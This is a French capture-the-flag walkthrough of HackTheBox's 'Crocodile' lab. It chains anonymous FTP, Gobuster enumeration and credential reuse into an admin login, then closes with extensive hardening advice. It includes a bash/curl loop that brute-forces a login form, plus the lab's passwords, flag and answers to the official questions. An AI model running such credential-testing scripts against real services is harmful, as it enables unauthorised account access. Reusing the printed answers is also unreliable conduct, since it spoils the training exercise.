HackTheBox Writeup

Crocodile

Très facileLinuxftpwebgobustercredential-reuseenumerationdirectory-bruteforce

Challenge Tier 1 - Exploitation de FTP anonyme et réutilisation de credentials

Crocodile

Vue d'ensemble

Crocodile est un challenge du Tier 1 du Starting Point de HackTheBox qui combine plusieurs techniques d'énumération et illustre un scénario d'attaque réaliste basé sur la chaîne d'exploitation. Ce challenge met en lumière l'importance de l'énumération exhaustive de tous les services disponibles et la réutilisation de credentials découverts sur différents services.

Objectifs pédagogiques

  • Énumération multi-services : Scanner et identifier plusieurs services ouverts
  • FTP anonyme : Exploiter l'accès FTP sans authentification
  • Web enumeration : Utiliser Gobuster pour découvrir des ressources cachées
  • Technology fingerprinting : Identifier les technologies avec Wappalyzer
  • Credential reuse : Réutiliser des credentials trouvés sur un service pour en compromettre un autre
  • Chain exploitation : Comprendre comment enchaîner plusieurs vecteurs d'attaque

Informations du challenge

  • Nom : Crocodile
  • OS : Linux
  • Difficulté : Très facile
  • Points : 10
  • Tier : 1

Scénario

Le serveur cible expose deux services : un serveur FTP et un serveur web Apache. L'accès FTP anonyme révèle des fichiers contenant des listes d'utilisateurs et de mots de passe. En parallèle, l'énumération web découvre une page de login. La combinaison de ces informations permet d'accéder à un panel d'administration où se trouve le flag.

Concepts techniques

Protocole FTP (File Transfer Protocol)

FTP est un protocole réseau standard utilisé pour le transfert de fichiers entre un client et un serveur sur un réseau TCP.

Caractéristiques principales :

  • Port standard : 21 (contrôle), 20 (données en mode actif)
  • Architecture : Client-serveur
  • Modes de connexion : Actif et Passif
  • Authentification : Username/Password (par défaut) ou anonyme

Architecture FTP :

┌──────────────┐                                    ┌──────────────┐
│              │  Connexion contrôle (Port 21)      │              │
│   Client     │ ────────────────────────────────> │   Serveur    │
│     FTP      │                                    │     FTP      │
│              │  Connexion données (Port 20/random)│              │
│              │ <────────────────────────────────> │              │
└──────────────┘                                    └──────────────┘

Accès FTP Anonyme

L'accès anonyme FTP est une mauvaise configuration courante qui permet à n'importe qui de se connecter sans credentials valides.

Fonctionnement :

  • Username : anonymous ou ftp
  • Password : n'importe quelle valeur (souvent une adresse email par convention)
  • Risque : Exposition de fichiers sensibles, upload de fichiers malveillants

Commandes FTP essentielles :

# Connexion
ftp <target_ip>

# Lister les fichiers
ls
dir

# Naviguer
cd <directory>

# Télécharger un fichier
get <filename>

# Télécharger plusieurs fichiers
mget *.txt

# Mode binaire/ASCII
binary
ascii

# Quitter
bye
quit

Énumération Web avec Gobuster

Gobuster est un outil de brute-force pour découvrir des URIs (répertoires et fichiers) et des sous-domaines sur des serveurs web.

Fonctionnement :

  • Utilise une wordlist pour tester des chemins potentiels
  • Envoie des requêtes HTTP et analyse les codes de réponse
  • Identifie les ressources accessibles mais non liées

Syntaxe de base :

gobuster dir -u http://<target> -w <wordlist>

Options utiles :

OptionDescription
-uURL cible
-wWordlist à utiliser
-xExtensions de fichiers à rechercher
-tNombre de threads (défaut: 10)
-sCodes de statut à afficher
-kIgnorer les certificats SSL invalides

Wordlists communes :

  • /usr/share/wordlists/dirb/common.txt
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • /usr/share/seclists/Discovery/Web-Content/common.txt

Wappalyzer

Wappalyzer est un outil de technology profiling qui identifie les technologies utilisées par un site web.

Informations détectées :

  • Serveurs web (Apache, Nginx, IIS)
  • Frameworks (Laravel, Django, React)
  • Langages (PHP, Python, JavaScript)
  • CMS (WordPress, Joomla, Drupal)
  • Systèmes d'exploitation
  • Bases de données
  • CDN et services tiers

Utilisation :

  • Extension de navigateur (Chrome, Firefox)
  • CLI : wappalyzer <url>
  • API pour automatisation

Credential Reuse Attack

La réutilisation de credentials est une technique d'attaque où des identifiants découverts sur un service sont testés sur d'autres services.

Scénario typique :

  1. Découverte de credentials sur un service moins sécurisé (FTP, backup, fichier exposé)
  2. Test de ces credentials sur des services plus sensibles (SSH, admin web, VPN)
  3. Accès non autorisé grâce à la réutilisation

Pourquoi ça fonctionne :

  • Les utilisateurs réutilisent souvent les mêmes mots de passe
  • Les administrateurs stockent parfois tous les credentials au même endroit
  • Manque de segmentation entre les services

Prévention :

  • Utiliser des mots de passe uniques par service
  • Gestionnaires de mots de passe
  • Authentification multi-facteurs (MFA)
  • Rotation régulière des credentials

Chain Exploitation

L'exploitation en chaîne consiste à combiner plusieurs vulnérabilités ou vecteurs d'attaque pour atteindre l'objectif final.

Exemple de chaîne d'attaque :

┌─────────────────┐
│ 1. Enumération  │
│   (Nmap scan)   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐     ┌──────────────────┐
│ 2. FTP Anonyme  │────>│ 3. Download files│
│   (Port 21)     │     │   (credentials)  │
└─────────────────┘     └────────┬─────────┘
                                 │
                                 ▼
┌─────────────────┐     ┌──────────────────┐
│ 4. Web Enum     │────>│ 5. Find /login   │
│   (Gobuster)    │     │   (admin panel)  │
└─────────────────┘     └────────┬─────────┘
                                 │
                                 ▼
                        ┌──────────────────┐
                        │ 6. Credential    │
                        │    Reuse Attack  │
                        └────────┬─────────┘
                                 │
                                 ▼
                        ┌──────────────────┐
                        │ 7. Admin Access  │
                        │   (Flag capture) │
                        └──────────────────┘

Phase 1 : Reconnaissance et énumération

Scan réseau avec Nmap

La première étape consiste à identifier les services ouverts sur la cible :

nmap -sV -sC <target_ip>

Explication des options :

  • -sV : Détection de version des services
  • -sC : Exécution des scripts NSE par défaut

Résultats attendus :

Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for <target_ip>
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
| -rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:<your_ip>
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Smash - Bootstrap Business Template
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds

Analyse des résultats :

  1. Port 21 (FTP) :

    • Service : vsftpd 3.0.3
    • CRITIQUE : Anonymous FTP login allowed
    • Fichiers visibles : allowed.userlist et allowed.userlist.passwd
  2. Port 80 (HTTP) :

    • Serveur : Apache httpd 2.4.41
    • OS : Ubuntu
    • Page d'accueil : "Smash - Bootstrap Business Template"

Analyse du service FTP

Le script NSE ftp-anon a révélé que l'accès anonyme est activé et que deux fichiers suspects sont présents.

Vecteur d'attaque identifié :

  • Connexion FTP anonyme
  • Téléchargement des fichiers de credentials
  • Extraction des usernames et passwords

Phase 2 : Exploitation FTP

Connexion anonyme

Connectez-vous au serveur FTP en utilisant le compte anonymous :

ftp <target_ip>

Session FTP :

Connected to <target_ip>.
220 (vsFTPd 3.0.3)
Name (<target_ip>:kali): anonymous
331 Please specify the password.
Password: [Appuyez sur Entrée]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Énumération des fichiers

Listez le contenu du serveur FTP :

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.

Téléchargement des fichiers

Téléchargez les deux fichiers :

ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (157.4 kB/s)

ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
226 Transfer complete.
62 bytes received in 0.00 secs (287.3 kB/s)

ftp> bye
221 Goodbye.

Analyse des fichiers téléchargés

Contenu de allowed.userlist :

cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin

Contenu de allowed.userlist.passwd :

cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

Credentials découverts :

UsernamePassword potentiel
aronroot
pwnmeowSupersecretpassword1
egotisticalsw@BaASD&9032123sADS
adminrKXM59ESxesUFHAd

:::note Les noms de fichiers suggèrent que ces listes correspondent (allowed.userlist et allowed.userlist.passwd), mais l'ordre exact n'est pas garanti. Il faudra tester différentes combinaisons. :::

Phase 3 : Énumération Web

Exploration initiale

Visitez le site web dans un navigateur :

http://<target_ip>

La page affiche un template Bootstrap "Smash" - un site vitrine générique. Aucune fonctionnalité de login n'est visible en navigation normale.

Technology Fingerprinting avec Wappalyzer

Utilisez l'extension Wappalyzer pour identifier les technologies :

Technologies détectées :

  • Web server : Apache 2.4.41
  • Operating system : Ubuntu
  • Programming language : PHP
  • JavaScript libraries : jQuery
  • UI framework : Bootstrap

Conclusion : Le site utilise PHP, ce qui signifie que des pages .php peuvent exister même si elles ne sont pas liées.

Directory Enumeration avec Gobuster

Lancez Gobuster pour découvrir des répertoires et fichiers cachés :

gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Explication :

  • dir : Mode directory/file enumeration
  • -u : URL cible
  • -w : Wordlist à utiliser
  • -x : Extensions à rechercher (php, html, txt)

Résultats :

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://<target_ip>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 276]
/.hta.php             (Status: 403) [Size: 276]
/.hta.html            (Status: 403) [Size: 276]
/.hta.txt             (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htaccess.html       (Status: 403) [Size: 276]
/.htaccess.txt        (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/.htpasswd.html       (Status: 403) [Size: 276]
/.htpasswd.txt        (Status: 403) [Size: 276]
/assets               (Status: 301) [Size: 313] [--> http://<target_ip>/assets/]
/css                  (Status: 301) [Size: 310] [--> http://<target_ip>/css/]
/dashboard            (Status: 301) [Size: 316] [--> http://<target_ip>/dashboard/]
/fonts                (Status: 301) [Size: 312] [--> http://<target_ip>/fonts/]
/index.html           (Status: 200) [Size: 58565]
/js                   (Status: 301) [Size: 309] [--> http://<target_ip>/js/]
/login.php            (Status: 200) [Size: 1577]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/server-status        (Status: 403) [Size: 276]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================

Découverte importante :

  • /login.php : Page de login (Status 200)
  • /dashboard : Répertoire protégé (Status 301)
  • /logout.php : Page de déconnexion (redirige vers login.php)

Accès à la page de login

Visitez la page découverte :

http://<target_ip>/login.php

Vous trouvez un formulaire d'authentification avec :

  • Champ Username
  • Champ Password
  • Bouton Login

Phase 4 : Credential Reuse Attack

Stratégie de test

Nous avons 4 usernames et 4 passwords découverts sur le FTP. La stratégie consiste à :

  1. Tester d'abord les combinaisons logiques (ligne par ligne des fichiers)
  2. Si ça ne fonctionne pas, tester toutes les combinaisons possibles
  3. Prioriser le compte admin qui a le plus de chances d'avoir accès au dashboard

Test des credentials

Tentative 1 : admin / rKXM59ESxesUFHAd

Remplissez le formulaire :

  • Username : admin
  • Password : rKXM59ESxesUFHAd

Cliquez sur Login.

Résultat : ✅ Connexion réussie !

La page redirige vers /dashboard/ et affiche un panel d'administration.

Accès au Dashboard

Une fois authentifié, vous accédez à un tableau de bord administrateur qui affiche :

  • Informations système
  • Statistiques
  • Le flag du challenge

Flag visible :

c7110277ac44d78b6a9fff2232434d16

Validation du flag

Soumettez le flag sur la plateforme HackTheBox pour valider le challenge.

echo "c7110277ac44d78b6a9fff2232434d16" | wc -c
# Vérification : 32 caractères (format MD5 standard)

Analyse Post-Exploitation

Chaîne d'attaque récapitulative

Le succès de cette compromission repose sur l'enchaînement de plusieurs faiblesses :

1. FTP Anonyme activé
   └─> Accès sans authentification au serveur FTP
       │
2. Fichiers sensibles exposés
   └─> Téléchargement de listes de credentials
       │
3. Absence d'obfuscation des ressources web
   └─> Découverte de /login.php par énumération
       │
4. Réutilisation de credentials
   └─> Les mêmes credentials FTP utilisés pour l'admin web
       │
5. Absence de protection supplémentaire
   └─> Pas de rate limiting, MFA, ou CAPTCHA
       │
6. Accès administrateur complet
   └─> Compromission totale du panel d'administration

Vulnérabilités identifiées

  1. FTP Anonymous Login :

    • Permet à n'importe qui d'accéder aux fichiers
    • CVSS Base Score : 5.3 (Medium)
    • CWE-287: Improper Authentication
  2. Sensitive Data Exposure :

    • Stockage de credentials en clair sur FTP
    • CVSS Base Score : 7.5 (High)
    • CWE-312: Cleartext Storage of Sensitive Information
  3. Credential Reuse :

    • Mêmes credentials utilisés sur plusieurs services
    • CVSS Base Score : 6.5 (Medium)
    • CWE-257: Storing Passwords in a Recoverable Format
  4. No Rate Limiting :

    • Permet le brute-force sans restriction
    • CVSS Base Score : 5.3 (Medium)
    • CWE-307: Improper Restriction of Excessive Authentication Attempts
  5. Security Through Obscurity :

    • Ressources sensibles non liées mais découvrables
    • CVSS Base Score : 4.3 (Medium)
    • CWE-656: Reliance on Security Through Obscurity

Bonnes pratiques de sécurité

Sécurisation du service FTP

Désactiver l'accès anonyme :

Configuration vsftpd (/etc/vsftpd.conf) :

# Désactiver l'accès anonyme
anonymous_enable=NO

# Permettre uniquement les utilisateurs locaux
local_enable=YES

# Empêcher les utilisateurs de sortir de leur répertoire home
chroot_local_user=YES

# Utiliser SSL/TLS
ssl_enable=YES
require_ssl_reuse=NO
ssl_ciphers=HIGH

Alternatives modernes :

  • SFTP (SSH File Transfer Protocol) - chiffrement natif
  • FTPS (FTP over SSL/TLS) - version sécurisée de FTP
  • SCP (Secure Copy Protocol) - transfert sécurisé simple

Gestion sécurisée des credentials

Principes fondamentaux :

  1. Never store credentials in plain text :

    # ❌ Mauvais
    echo "admin:password123" > credentials.txt
    
    # ✅ Bon - utiliser un gestionnaire de secrets
    vault kv put secret/webapp username=admin password=<complex>
    
  2. One password per service :

    • Chaque service doit avoir ses propres credentials uniques
    • Utiliser un gestionnaire de mots de passe (1Password, Bitwarden, etc.)
  3. Password complexity requirements :

    • Minimum 12 caractères
    • Mélange de majuscules, minuscules, chiffres, symboles
    • Pas de mots du dictionnaire
  4. Hash passwords properly :

    // ❌ Mauvais
    $hash = md5($password);
    
    // ✅ Bon
    $hash = password_hash($password, PASSWORD_ARGON2ID);
    

Sécurisation de l'authentification web

Mesures de protection :

  1. Rate Limiting :

    // Limiter à 5 tentatives par 15 minutes
    if (login_attempts > 5 && time_since_first_attempt < 900) {
        sleep(2);  // Ralentir les tentatives
        return "Too many attempts. Try again later.";
    }
    
  2. Multi-Factor Authentication (MFA) :

    • TOTP (Time-based One-Time Password) avec Google Authenticator
    • SMS/Email verification codes
    • Hardware tokens (YubiKey)
  3. CAPTCHA :

    • Google reCAPTCHA v3
    • hCaptcha
    • Cloudflare Turnstile
  4. Account Lockout :

    if failed_attempts >= 3:
        account.locked = True
        account.unlock_time = now() + timedelta(minutes=30)
        send_email_notification(account.email)
    
  5. Session Management :

    // Régénérer l'ID de session après login
    session_regenerate_id(true);
    
    // Définir des cookies sécurisés
    session_set_cookie_params([
        'lifetime' => 0,
        'path' => '/',
        'domain' => 'example.com',
        'secure' => true,      // HTTPS only
        'httponly' => true,    // No JavaScript access
        'samesite' => 'Strict' // CSRF protection
    ]);
    

Sécurisation du serveur web

Apache security hardening :

# Désactiver le listing de répertoires
<Directory /var/www/html>
    Options -Indexes
</Directory>

# Masquer la version du serveur
ServerTokens Prod
ServerSignature Off

# Protéger les fichiers sensibles
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# Headers de sécurité
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set Content-Security-Policy "default-src 'self'"

# Limiter les méthodes HTTP
<Directory /var/www/html>
    <LimitExcept GET POST>
        Require all denied
    </LimitExcept>
</Directory>

Web Application Security

Protection contre les attaques courantes :

  1. SQL Injection :

    // Utiliser des requêtes préparées
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->execute([$username, $hashed_password]);
    
  2. XSS (Cross-Site Scripting) :

    // Échapper les sorties
    echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
    
  3. CSRF (Cross-Site Request Forgery) :

    // Tokens CSRF
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    
  4. Path Traversal :

    // Valider les chemins de fichiers
    $file = basename($_GET['file']);  // Retire les ../
    

Network Segmentation

Isoler les services selon leur niveau de sensibilité :

┌─────────────────────────────────────────────┐
│              Internet (Untrusted)           │
└────────────────┬────────────────────────────┘
                 │
         ┌───────▼────────┐
         │   Firewall     │
         │   (WAF)        │
         └───────┬────────┘
                 │
    ┌────────────┴────────────┐
    │                         │
┌───▼────┐              ┌─────▼─────┐
│  DMZ   │              │  Internal │
│        │              │  Network  │
│ - Web  │              │           │
│ - FTP  │              │ - DB      │
│ (pub)  │              │ - Admin   │
└────────┘              └───────────┘
  10.0.1.0/24            10.0.2.0/24

Monitoring et Logging

Événements à logger :

import logging

# Tentatives de connexion
logger.info(f"Login attempt: username={username}, ip={client_ip}")

# Échecs d'authentification
logger.warning(f"Failed login: username={username}, ip={client_ip}")

# Accès FTP anonyme
logger.warning(f"Anonymous FTP access from {client_ip}")

# Énumération détectée
if requests_per_minute > 100:
    logger.critical(f"Possible enumeration from {client_ip}")

SIEM Integration :

  • Splunk
  • ELK Stack (Elasticsearch, Logstash, Kibana)
  • Graylog
  • OSSEC

Vulnerability Scanning

Outils recommandés :

# Scan Nessus
nessus-scan --target <ip> --policy "Web Application Tests"

# OWASP ZAP
zap-cli quick-scan -s xss,sqli http://<target>

# Nikto
nikto -h http://<target> -Tuning 123456

# OpenVAS
openvas-scan --target <ip> --config "Full and fast"

Outils et ressources

Outils utilisés dans ce challenge

OutilUsageInstallation
NmapScan de ports et détection de servicessudo apt install nmap
FTP clientConnexion au serveur FTPsudo apt install ftp
GobusterÉnumération de répertoires websudo apt install gobuster
WappalyzerTechnology fingerprintingExtension navigateur
cURLTests HTTP manuelssudo apt install curl

Commandes essentielles

Nmap - Scan complet :

# Scan de base
nmap -sV -sC <target>

# Scan agressif
nmap -A -p- -T4 <target>

# Scan avec scripts NSE spécifiques
nmap --script ftp-anon,ftp-vuln-cve2010-4221 -p 21 <target>

FTP - Manipulation de fichiers :

# Connexion anonyme
ftp <target>
# Username: anonymous
# Password: [vide]

# Lister les fichiers
ls -la

# Télécharger tous les fichiers
mget *

# Mode passif (si problèmes de connexion)
passive

Gobuster - Variations d'énumération :

# Répertoires uniquement
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

# Avec extensions PHP
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php

# Mode récursif
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -r

# Avec authentification
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -U admin -P password

# DNS subdomain enumeration
gobuster dns -d example.com -w /usr/share/wordlists/dnsmap.txt

Wordlists utiles

Emplacement sur Kali Linux :

# Wordlists générales
/usr/share/wordlists/dirb/
/usr/share/wordlists/dirbuster/

# SecLists (à installer)
/usr/share/seclists/Discovery/Web-Content/
/usr/share/seclists/Passwords/

# Installation de SecLists
sudo apt install seclists

Wordlists recommandées :

FichierUsageTaille
common.txtEnumération rapide~4600 lignes
directory-list-2.3-medium.txtEnumération complète~220k lignes
big.txtEnumération extensive~20k lignes
raft-large-directories.txtRépertoires web~62k lignes

Scripts d'automatisation

Script de test de credentials :

#!/bin/bash

# credential_test.sh
TARGET="http://<target_ip>/login.php"
USERLIST="allowed.userlist"
PASSLIST="allowed.userlist.passwd"

while IFS= read -r user; do
    while IFS= read -r pass; do
        echo "[*] Testing $user:$pass"

        response=$(curl -s -X POST "$TARGET" \
            -d "username=$user&password=$pass" \
            -L -w "%{http_code}")

        if [[ $response == *"dashboard"* ]]; then
            echo "[+] SUCCESS! $user:$pass"
            exit 0
        fi
    done < "$PASSLIST"
done < "$USERLIST"

echo "[-] No valid credentials found"

Usage :

chmod +x credential_test.sh
./credential_test.sh

Ressources d'apprentissage

Documentation officielle :

Cheat sheets :

Tutoriels et guides :

Questions du challenge

Voici les questions officielles du challenge Crocodile avec leurs réponses :

Question 1

What Nmap scanning switch employs the use of default scripts during a scan?

Réponse : -sC

Explication : Le flag -sC (ou --script=default) exécute les scripts NSE (Nmap Scripting Engine) par défaut pendant le scan. Ces scripts effectuent des vérifications courantes comme la détection de vulnérabilités connues, l'énumération de services, etc.

Question 2

What service version is found to be running on port 21?

Réponse : vsftpd 3.0.3

Explication : La commande nmap -sV révèle que le service FTP tournant sur le port 21 est vsftpd (Very Secure FTP Daemon) en version 3.0.3.

Question 3

What FTP code is returned to us for the "Anonymous FTP login allowed" message?

Réponse : 230

Explication : Le code FTP 230 signifie "User logged in, proceed". Il est retourné quand la connexion FTP anonyme réussit. C'est visible dans la sortie du script NSE ftp-anon.

Question 4

After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?

Réponse : anonymous

Explication : Pour se connecter en mode anonyme à un serveur FTP, on utilise le username anonymous (ou parfois ftp). Le mot de passe peut être vide ou n'importe quelle valeur.

Question 5

After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?

Réponse : get

Explication : La commande FTP get <filename> télécharge un fichier depuis le serveur vers la machine locale. Pour télécharger plusieurs fichiers, on peut utiliser mget.

Question 6

What is one of the higher-level languages in which the web application is written?

Réponse : PHP

Explication : Wappalyzer ou l'observation des fichiers découverts par Gobuster (login.php, logout.php) révèlent que le site utilise PHP.

Question 7

What is the name of a coin/token commonly used to authenticate web applications?

Réponse : cookie

Explication : Les cookies (HTTP cookies) sont des tokens envoyés par le serveur et stockés par le navigateur pour maintenir l'état de session et authentifier l'utilisateur entre les requêtes HTTP.

Question 8

What is the standard name for the file used to host a website in an Apache server?

Réponse : index.html

Explication : Par défaut, Apache cherche index.html (ou index.php) comme fichier principal d'un répertoire web.

Question 9

What is the name of a popular web application directory/file enumeration tool used in penetration testing?

Réponse : gobuster

Explication : Gobuster est un outil populaire de brute-force pour découvrir des URIs (répertoires et fichiers) et des sous-domaines. Autres alternatives : dirbuster, dirb, ffuf.

Question 10

Submit root flag

Réponse : c7110277ac44d78b6a9fff2232434d16

Explication : Le flag se trouve sur le dashboard admin accessible après avoir réussi à se connecter avec les credentials admin:rKXM59ESxesUFHAd découverts sur le serveur FTP.

Conclusion

Le challenge Crocodile illustre parfaitement une chaîne d'exploitation réaliste où plusieurs vecteurs d'attaque sont combinés pour compromettre un système. Les leçons clés à retenir sont :

Points clés

  1. Énumération exhaustive : Scanner tous les services disponibles et ne pas se limiter au premier vecteur trouvé
  2. Chain exploitation : Combiner les informations de différents services pour construire une attaque complète
  3. Credential reuse : Les credentials découverts sur un service peuvent être valides sur d'autres
  4. Web enumeration : Les ressources non liées peuvent être découvertes par brute-force

Compétences développées

  • ✅ Scan réseau multi-services avec Nmap
  • ✅ Exploitation de FTP anonyme
  • ✅ Énumération web avec Gobuster
  • ✅ Technology fingerprinting avec Wappalyzer
  • ✅ Attaques par réutilisation de credentials
  • ✅ Analyse de chaînes d'exploitation

Progression

Ce challenge marque une évolution importante par rapport au Tier 0 :

  • Tier 0 : Exploitation d'un seul service avec une seule vulnérabilité
  • Tier 1 : Combinaison de plusieurs services et techniques pour atteindre l'objectif

Next steps

Après avoir complété Crocodile, vous êtes prêt pour :

  1. Responder : Dernier challenge du Tier 1 avec SMB et NTLM
  2. Tier 2 : Challenges plus complexes avec exploitation de CVE
  3. Active Directory : Environnements Windows multi-machines

Ressources complémentaires


Félicitations pour avoir complété le challenge Crocodile ! 🐊

Vous maîtrisez maintenant les concepts d'énumération multi-services et de chain exploitation. Continuez votre apprentissage avec les prochains challenges du Starting Point.